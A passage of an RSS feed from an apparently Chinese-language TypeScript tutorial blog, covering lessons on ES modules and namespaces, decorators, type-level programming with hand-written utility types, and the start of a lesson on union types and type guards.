&lt;li&gt;&lt;code&gt;declare&lt;/code&gt; 声明外部存在的值/类型；&lt;code&gt;declare module &quot;x&quot;&lt;/code&gt; 为库补类型。&lt;/li&gt;
&lt;li&gt;第三方库优先 &lt;code&gt;@types/xxx&lt;/code&gt;（DefinitelyTyped）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;declare global&lt;/code&gt; 扩展 &lt;code&gt;window&lt;/code&gt;/&lt;code&gt;process.env&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;自己库用 &lt;code&gt;declaration: true&lt;/code&gt; 自动产出 &lt;code&gt;.d.ts&lt;/code&gt;，别手写维护。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;找一个没类型的库（或假设 &lt;code&gt;my-lib&lt;/code&gt;），写 &lt;code&gt;.d.ts&lt;/code&gt; 补 &lt;code&gt;declare module &quot;my-lib&quot;&lt;/code&gt; 并 import 测试。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;declare global&lt;/code&gt; 给 &lt;code&gt;window&lt;/code&gt; 加 &lt;code&gt;appVersion: string&lt;/code&gt;，在代码里访问。&lt;/li&gt;
&lt;li&gt;开 &lt;code&gt;declaration: true&lt;/code&gt; 编译一个含函数的 &lt;code&gt;.ts&lt;/code&gt;，观察生成的 &lt;code&gt;.d.ts&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;解释何时用 &lt;code&gt;@types/xxx&lt;/code&gt;、何时自己写 &lt;code&gt;.d.ts&lt;/code&gt;、何时用 &lt;code&gt;declare module &quot;x&quot;;&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>11 · 模块与命名空间</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-11-modules/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-11-modules/</guid><description>TypeScript 模块系统：ES Module 的 import/export、默认导出与命名导出、重命名与聚合导出、动态 import()、模块解析 moduleResolution、以及遗留的 namespace 用法与取舍。</description><pubDate>Sun, 27 Sep 2026 13:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
模块化是现代 JS/TS 的基石。本篇讲清 ES Module 在 TS 里的写法、模块解析规则，以及为什么 &lt;code&gt;namespace&lt;/code&gt; 基本被淘汰。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 导出 export&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// math.ts
export const PI = 3.14;
export function square(n: number): number { return n * n; }
export interface Point { x: number; y: number }

// 或集中导出
const add = (a: number, b: number) =&amp;gt; a + b;
export { add };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;类型（&lt;code&gt;interface&lt;/code&gt;/&lt;code&gt;type&lt;/code&gt;）也能 &lt;code&gt;export&lt;/code&gt;，编译后会被擦除，只用于类型检查。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 导入 import&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { PI, square, type Point } from &quot;./math&quot;;
import * as MathUtils from &quot;./math&quot;; // 命名空间式导入
import defaultExport from &quot;./mod&quot;;   // 默认导入
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用 &lt;code&gt;type&lt;/code&gt; 前缀（或 &lt;code&gt;import type&lt;/code&gt;）只导入类型，配合 &lt;code&gt;isolatedModules&lt;/code&gt; 更安全、且不会被编译进 JS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import type { Point } from &quot;./math&quot;; // 纯类型，编译后整行消失
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 默认导出 vs 命名导出&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;默认导出&lt;/th&gt;
&lt;th&gt;命名导出&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;写法&lt;/td&gt;
&lt;td&gt;&lt;code&gt;export default&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;export const/function&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;导入&lt;/td&gt;
&lt;td&gt;任意名字&lt;/td&gt;
&lt;td&gt;必须同名（可重命名）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数量&lt;/td&gt;
&lt;td&gt;每文件一个&lt;/td&gt;
&lt;td&gt;多个&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;推荐&lt;/td&gt;
&lt;td&gt;一个文件一个主产物时用&lt;/td&gt;
&lt;td&gt;多数情况更推荐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;推荐命名导出&lt;/strong&gt;：可静态分析、重构友好、IDE 补全好。默认导出适合&quot;一个模块一个类/函数&quot;的场景。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 重命名与聚合&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { square as sq } from &quot;./math&quot;;   // 导入时改名
export { square as pow2 } from &quot;./math&quot;; // 重新导出

// 聚合多个模块
export * from &quot;./math&quot;;
export * from &quot;./string&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 动态 import()&lt;/h2&gt;
&lt;p&gt;运行时按需加载，返回 Promise：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;button.onclick = async () =&amp;gt; {
  const { heavyCalc } = await import(&quot;./heavy&quot;);
  heavyCalc();
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;动态 &lt;code&gt;import()&lt;/code&gt; 让代码分割/懒加载成为可能，是前端性能优化关键点。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 模块解析 moduleResolution&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;tsconfig&lt;/code&gt; 的 &lt;code&gt;moduleResolution&lt;/code&gt; 决定 TS &lt;strong&gt;怎么找模块&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;module&quot;: &quot;ESNext&quot;,
  &quot;moduleResolution&quot;: &quot;Bundler&quot; // 或 Node / Node16 / NodeNext
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Node&lt;/code&gt;/&lt;code&gt;NodeNext&lt;/code&gt;：模拟 Node 的 &lt;code&gt;node_modules&lt;/code&gt; 解析，需写扩展名（NodeNext 要求）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bundler&lt;/code&gt;：给 Vite/webpack 等打包器用，不用写 &lt;code&gt;.js&lt;/code&gt; 扩展名，最省心（现代前端首选）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;路径别名也要在此生效：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;baseUrl&quot;: &quot;.&quot;,
  &quot;paths&quot;: { &quot;@/*&quot;: [&quot;src/*&quot;] }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;7. namespace（遗留，谨慎）&lt;/h2&gt;
&lt;p&gt;TS 早期用 &lt;code&gt;namespace&lt;/code&gt; 做全局命名隔离：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;namespace Geometry {
  export function area(r: number) { return Math.PI * r * r; }
}
Geometry.area(1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但在 ES Module 时代，&lt;strong&gt;几乎不再需要 namespace&lt;/strong&gt;——文件即模块，用 &lt;code&gt;export/import&lt;/code&gt; 即可。仅维护老代码时可能遇到，新项目请直接用 ES Module。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;export&lt;/code&gt;/&lt;code&gt;import&lt;/code&gt; 是模块标准；&lt;code&gt;import type&lt;/code&gt; 只导类型，编译后消失。&lt;/li&gt;
&lt;li&gt;优先&lt;strong&gt;命名导出&lt;/strong&gt;（可分析、可重构）。&lt;/li&gt;
&lt;li&gt;动态 &lt;code&gt;import()&lt;/code&gt; 实现懒加载。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;moduleResolution&lt;/code&gt; 选 &lt;code&gt;Bundler&lt;/code&gt;（前端）或 &lt;code&gt;NodeNext&lt;/code&gt;（Node）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;namespace&lt;/code&gt; 是旧时代产物，新项目用 ES Module 替代。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;建 &lt;code&gt;string.ts&lt;/code&gt; 导出 &lt;code&gt;capitalize&lt;/code&gt; 与 &lt;code&gt;truncate&lt;/code&gt;，在 &lt;code&gt;main.ts&lt;/code&gt; 用命名导入调用。&lt;/li&gt;
&lt;li&gt;把上题改成默认导出一个对象，再改回命名导出，体会差异。&lt;/li&gt;
&lt;li&gt;配置 &lt;code&gt;paths&lt;/code&gt; 别名 &lt;code&gt;@/* -&amp;gt; src/*&lt;/code&gt;，用 &lt;code&gt;import { x } from &quot;@/utils&quot;&lt;/code&gt; 验证。&lt;/li&gt;
&lt;li&gt;用动态 &lt;code&gt;import()&lt;/code&gt; 在按钮点击时加载一个含大函数模块。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>10 · 装饰器</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-10-decorators/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-10-decorators/</guid><description>TypeScript 装饰器全解：装饰器是什么、开启 experimentalDecorators、类/方法/访问器/属性/参数五种装饰器、装饰器工厂、执行顺序，以及与 NestJS 等框架的关系。</description><pubDate>Sun, 27 Sep 2026 12:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
装饰器是&quot;给类/方法/属性加元数据或行为的注解语法&quot;，NestJS、Angular 大量使用。TS 里它是实验特性，需显式开启。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 开启装饰器&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;tsconfig.json&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;compilerOptions&quot;: {
    &quot;experimentalDecorators&quot;: true,
    &quot;emitDecoratorMetadata&quot;: true // 配合反射元数据（NestJS 需要）
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ TS 的装饰器基于&lt;strong&gt;旧版（stage-1）提案&lt;/strong&gt;写法；新版 TC39 装饰器（stage-3）语法不同，TS 5.0+ 也在逐步对齐。本篇按当前 TS 文档的写法讲，NestJS 等框架仍用此写法。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 类装饰器&lt;/h2&gt;
&lt;p&gt;接收构造函数，可替换/增强类：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Seal(constructor: Function): void {
  Object.seal(constructor);
  Object.seal(constructor.prototype);
}
@Seal
class User {
  name = &quot;Tom&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;类装饰器参数就是&lt;strong&gt;被装饰类的构造函数&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 方法装饰器&lt;/h2&gt;
&lt;p&gt;接收 &lt;code&gt;(target, propertyKey, descriptor)&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Log(
  target: any,
  propertyKey: string,
  descriptor: PropertyDescriptor,
): void {
  const original = descriptor.value;
  descriptor.value = function (...args: any[]) {
    console.log(`调用 ${propertyKey}`, args);
    return original.apply(this, args);
  };
}
class Calc {
  @Log
  add(a: number, b: number): number { return a + b; }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;方法装饰器常用于&lt;strong&gt;日志、缓存、权限、性能统计&lt;/strong&gt;——不侵入业务代码地&quot;包&quot;一层。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 访问器 / 属性 / 参数装饰器&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 访问器装饰器（getter/setter），签名同方法装饰器但 descriptor.value 为 undefined
function NoNegative(target: any, key: string, descriptor: PropertyDescriptor) {
  const setter = descriptor.set!;
  descriptor.set = function (v: number) {
    if (v &amp;lt; 0) throw new Error(&quot;不能为负&quot;);
    setter.call(this, v);
  };
}

class Account {
  private _bal = 0;
  @NoNegative
  set balance(v: number) { this._bal = v; }
  get balance() { return this._bal; }
}

// 属性装饰器：(target, propertyKey)
function Format(fmt: string) {
  return function (target: any, key: string) {} as any;
}

// 参数装饰器：(target, propertyKey, parameterIndex)
function Validate(target: any, key: string, index: number) {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;属性/参数装饰器多用于&lt;strong&gt;收集元数据&lt;/strong&gt;（如依赖注入标记），本身不返回值。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 装饰器工厂&lt;/h2&gt;
&lt;p&gt;上面装饰器都是&quot;硬编码&quot;。用工厂返回真正的装饰器，可传参：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Role(role: string) {
  return function (constructor: Function) {
    constructor.prototype.role = role;
  };
}
@Role(&quot;admin&quot;)
class AdminService {}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;工厂 = &quot;返回装饰器函数的函数&quot;，是装饰器传参的标准写法。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 执行顺序&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;同一声明上多个装饰器：&lt;strong&gt;从下到上&lt;/strong&gt;求值，但&lt;strong&gt;从上到下&lt;/strong&gt;应用。&lt;/li&gt;
&lt;li&gt;不同声明：参数装饰器 → 方法/访问器 → 属性 → 类（先内后外）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;理解顺序在调试元数据注入时有用，日常不必死记。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. 与框架的关系&lt;/h2&gt;
&lt;p&gt;NestJS 用装饰器声明路由、依赖、守卫：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Controller(&quot;users&quot;)
class UserController {
  @Get(&quot;:id&quot;)
  @UseGuards(AuthGuard)
  findOne(@Param(&quot;id&quot;) id: string) {}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;装饰器本身只是&quot;语法糖 + 元数据&quot;，真正的逻辑由框架读取这些元数据后驱动。理解这点就不怕框架黑魔法了。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;装饰器需 &lt;code&gt;experimentalDecorators: true&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;五类：类 / 方法 / 访问器 / 属性 / 参数装饰器，参数各异。&lt;/li&gt;
&lt;li&gt;装饰器工厂 = 返回装饰器的函数，用于传参。&lt;/li&gt;
&lt;li&gt;实战价值在 AOP（日志/鉴权/缓存）与框架元数据（NestJS）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;写 &lt;code&gt;@readonly&lt;/code&gt; 类装饰器，把类的 &lt;code&gt;prototype&lt;/code&gt; 方法设为不可写（Object.defineProperty）。&lt;/li&gt;
&lt;li&gt;写 &lt;code&gt;@Log&lt;/code&gt; 方法装饰器记录方法名与耗时（performance.now()）。&lt;/li&gt;
&lt;li&gt;用装饰器工厂 &lt;code&gt;@Prefix(&quot;api&quot;)&lt;/code&gt; 给类加一个静态 &lt;code&gt;prefix&lt;/code&gt; 属性。&lt;/li&gt;
&lt;li&gt;思考：为什么 NestJS 的 &lt;code&gt;@Get()&lt;/code&gt; 不需要返回值？（提示：收集元数据）&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>09 · 高级类型与类型体操入门</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-09-type-gymnastics/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-09-type-gymnastics/</guid><description>TypeScript 类型体操入门：模板字面量类型、递归类型、索引访问类型进阶，并手搓 MyPick / MyReadonly / MyOmit / MyAwaited 等工具类型，建立&quot;用类型描述类型&quot;的推导思维。</description><pubDate>Sun, 27 Sep 2026 11:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
&quot;类型体操&quot;指用 TS 类型系统做复杂推导（社区梗，形容像体操一样绕）。本篇带你手搓几个经典工具类型，理解推导套路即可，不必追求炫技。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 模板字面量类型&lt;/h2&gt;
&lt;p&gt;类型层面也能做字符串拼接：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type World = &quot;world&quot;;
type Hello = `hello ${World}`; // &quot;hello world&quot;

type EventName&amp;lt;T extends string&amp;gt; = `${T}Changed`;
type E = EventName&amp;lt;&quot;name&quot;&amp;gt;; // &quot;nameChanged&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配合联合会&lt;strong&gt;笛卡尔展开&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Color = &quot;red&quot; | &quot;blue&quot;;
type Size = &quot;s&quot; | &quot;m&quot;;
type Class = `${Color}-${Size}`; // &quot;red-s&quot; | &quot;red-m&quot; | &quot;blue-s&quot; | &quot;blue-m&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实战：给 CSS 属性名加前缀、给事件名加 &lt;code&gt;on&lt;/code&gt; 等。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 递归类型&lt;/h2&gt;
&lt;p&gt;类型可递归引用自身，处理嵌套结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Json =
  | string | number | boolean | null
  | Json[]
  | { [key: string]: Json };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;递归类型描述树/JSON 等自相似数据。配合映射类型可写 &lt;code&gt;DeepReadonly&lt;/code&gt;、&lt;code&gt;DeepPartial&lt;/code&gt;（第 7 篇提过）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 索引访问进阶&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;type Prop&amp;lt;T, K extends keyof T&amp;gt; = T[K];
type Nested = { user: { name: string } };
type Name = Nested[&quot;user&quot;][&quot;name&quot;]; // string（链式索引访问）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 手搓工具类型（核心练习）&lt;/h2&gt;
&lt;h3&gt;MyPick&amp;lt;T, K&amp;gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type MyPick&amp;lt;T, K extends keyof T&amp;gt; = {
  [P in K]: T[P];
};
type R = MyPick&amp;lt;{ a: 1; b: 2 }, &quot;a&quot;&amp;gt;; // { a: 1 }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;MyReadonly&amp;lt;T&amp;gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type MyReadonly&amp;lt;T&amp;gt; = {
  readonly [K in keyof T]: T[K];
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;MyOmit&amp;lt;T, K&amp;gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type MyOmit&amp;lt;T, K extends keyof T&amp;gt; = Pick&amp;lt;T, Exclude&amp;lt;keyof T, K&amp;gt;&amp;gt;;
// 或
type MyOmit2&amp;lt;T, K extends keyof T&amp;gt; = {
  [P in Exclude&amp;lt;keyof T, K&amp;gt;]: T[P];
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;MyAwaited&amp;lt;T&amp;gt;（处理 Promise 嵌套）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type MyAwaited&amp;lt;T&amp;gt; =
  T extends Promise&amp;lt;infer U&amp;gt;
    ? U extends Promise&amp;lt;any&amp;gt;
      ? MyAwaited&amp;lt;U&amp;gt;
      : U
    : never;
type R = MyAwaited&amp;lt;Promise&amp;lt;Promise&amp;lt;number&amp;gt;&amp;gt;&amp;gt;; // number
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;MyCapitalize&amp;lt;T&amp;gt;（用内置大小写映射）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type MyCapitalize&amp;lt;T extends string&amp;gt; =
  T extends `${infer F}${infer Rest}`
    ? `${Uppercase&amp;lt;F&amp;gt;}${Rest}`
    : T;
type R = MyCapitalize&amp;lt;&quot;hello&quot;&amp;gt;; // &quot;Hello&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 类型体操的套路&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;拆&lt;/strong&gt;：把目标类型拆成&quot;键的集合&quot;与&quot;值的变换&quot;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;遍历&lt;/strong&gt;：用 &lt;code&gt;[K in keyof T]&lt;/code&gt; 或 &lt;code&gt;[K in U]&lt;/code&gt; 映射。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提取&lt;/strong&gt;：用 &lt;code&gt;infer&lt;/code&gt; 在条件类型里抓子类型。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;递归&lt;/strong&gt;：遇到嵌套用自身再调一次。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;约束&lt;/strong&gt;：用 &lt;code&gt;K extends keyof T&lt;/code&gt; 保证合法。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这些也是 &lt;code&gt;type-challenges&lt;/code&gt;（社区题库）的常考题。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 现实中的边界&lt;/h2&gt;
&lt;p&gt;类型体操很酷，但&lt;strong&gt;生产代码别过度&lt;/strong&gt;：类型越复杂，编译越慢、可读性越差。原则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;库作者/通用工具值得做；业务代码能用内置 &lt;code&gt;Partial/Pick/Omit&lt;/code&gt; 就别手写。&lt;/li&gt;
&lt;li&gt;类型报错难读时，先想&quot;是不是设计太复杂&quot;，而非硬刚。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;模板字面量类型可做类型级字符串拼接与联合展开。&lt;/li&gt;
&lt;li&gt;递归类型描述自相似结构（JSON/树）。&lt;/li&gt;
&lt;li&gt;手搓 &lt;code&gt;MyPick&lt;/code&gt;/&lt;code&gt;MyReadonly&lt;/code&gt;/&lt;code&gt;MyOmit&lt;/code&gt;/&lt;code&gt;MyAwaited&lt;/code&gt; 掌握映射+infer 套路。&lt;/li&gt;
&lt;li&gt;类型体操适可而止，业务里优先用内置工具类型。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;实现 &lt;code&gt;MyExclude&amp;lt;T, U&amp;gt;&lt;/code&gt;（&lt;code&gt;T extends U ? never : T&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;实现 &lt;code&gt;MyRecord&amp;lt;K extends keyof any, V&amp;gt;&lt;/code&gt;（&lt;code&gt;{ [P in K]: V }&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;用模板字面量实现 &lt;code&gt;type Handler&amp;lt;T extends string&amp;gt; = \&lt;/code&gt;on${Capitalize&amp;lt;T&amp;gt;}``。&lt;/li&gt;
&lt;li&gt;实现递归 &lt;code&gt;MyDeepReadonly&amp;lt;T&amp;gt;&lt;/code&gt;，让嵌套对象全部只读。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>08 · 联合、交叉与类型守卫</title><link>http://117.72.32.87/blog/posts/typescript-roadmap-08-union-and-type-guards/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/typescript-roadmap-08-union-and-type-guards/</guid><description>TypeScript 类型收窄机制全解：联合类型与字面量联合、typeof/instanceof/in 收窄、可辨识联合（discriminated union）、自定义类型守卫 is、断言 as 与非空断言 ! 的安全边界。</description><pubDate>Sun, 27 Sep 2026 10:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
JS 运行时值是动态的，TS 靠&quot;类型收窄&quot;在代码流里逐步把宽泛类型变精确。本篇讲清所有收窄手段，尤其是可辨识联合这一实战神器。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 联合类型&lt;/h2&gt;
&lt;p&gt;一个值可以是多种类型之一：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let id: number | string;
id = 1;
id = &quot;a1&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;联合让 API 更灵活（如 &lt;code&gt;id&lt;/code&gt; 既接受数字也接受字符串）。但访问联合的&lt;strong&gt;共有成员&lt;/strong&gt;才安全，专有成员需先收窄。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 字面量联合&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;type Status = &quot;idle&quot; | &quot;loading&quot; | &quot;success&quot; | &quot;error&quot;;
let s: Status = &quot;loading&quot;;
s = &quot;done&quot;; // ❌ 不在联合内
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字面量联合是最常用的&quot;枚举替代&quot;，零运行时开销。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 类型收窄 narrowing&lt;/h2&gt;
&lt;p&gt;TS 在 &lt;code&gt;if&lt;/code&gt;/三元等控制流里会&lt;strong&gt;自动收窄&lt;/strong&gt;联合：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function format(value: number | string): string {
  if (typeof value === &quot;string&quot;) {
    return value.trim(); // 这里 value 被收窄为 string
  }
  return value.toFixed(2); // 这里收窄为 number
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 收窄手段一览&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;手段&lt;/th&gt;
&lt;th&gt;适用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;typeof x === &quot;string&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;原始类型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;x instanceof Foo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;类实例&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;key in x&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;对象是否含某键&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;x === 字面量&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字面量联合&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;自定义守卫 &lt;code&gt;is&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;任意复杂判断&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;可辨识联合的 &lt;code&gt;switch&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;带 &lt;code&gt;kind&lt;/code&gt; 的联合&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;in&lt;/code&gt; 示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type A = { a: number };
type B = { b: string };
function f(x: A | B): void {
  if (&quot;a&quot; in x) x.a; // A
  else x.b;          // B
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 可辨识联合 discriminated union&lt;/h2&gt;
&lt;p&gt;给联合每个成员加一个&lt;strong&gt;共同的字面量字段&lt;/strong&gt;（&lt;code&gt;kind&lt;/code&gt;/&lt;code&gt;type&lt;/code&gt;），即可用 &lt;code&gt;switch&lt;/code&gt; 安全分派：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type Shape =
  | { kind: &quot;circle&quot;; r: number }
  | { kind: &quot;rect&quot;; w: number; h: number };

function area(s: Shape): number {
  switch (s.kind) {
    case &quot;circle&quot;: return Math.PI * s.r ** 2; // s 收窄为 circle
    case &quot;rect&quot;:   return s.w * s.h;          // s 收窄为 rect
    default:
      // 穷尽性检查：若漏 case，这里 s 是 never，会编译报错
      const _exhaustive: never = s;
      return _exhaustive;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;never&lt;/code&gt; 穷尽检查是&lt;strong&gt;杀手锏&lt;/strong&gt;：以后新增 &lt;code&gt;kind&lt;/code&gt;，忘了加 &lt;code&gt;case&lt;/code&gt;，编译期立刻报错，不会漏处理。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 自定义类型守卫 is&lt;/h2&gt;
&lt;p&gt;判断逻辑复杂时，用 &lt;code&gt;is&lt;/code&gt; 抽成守卫函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function isFish(x: Fish | Bird): x is Fish {
  return (x as Fish).swim !== undefined;
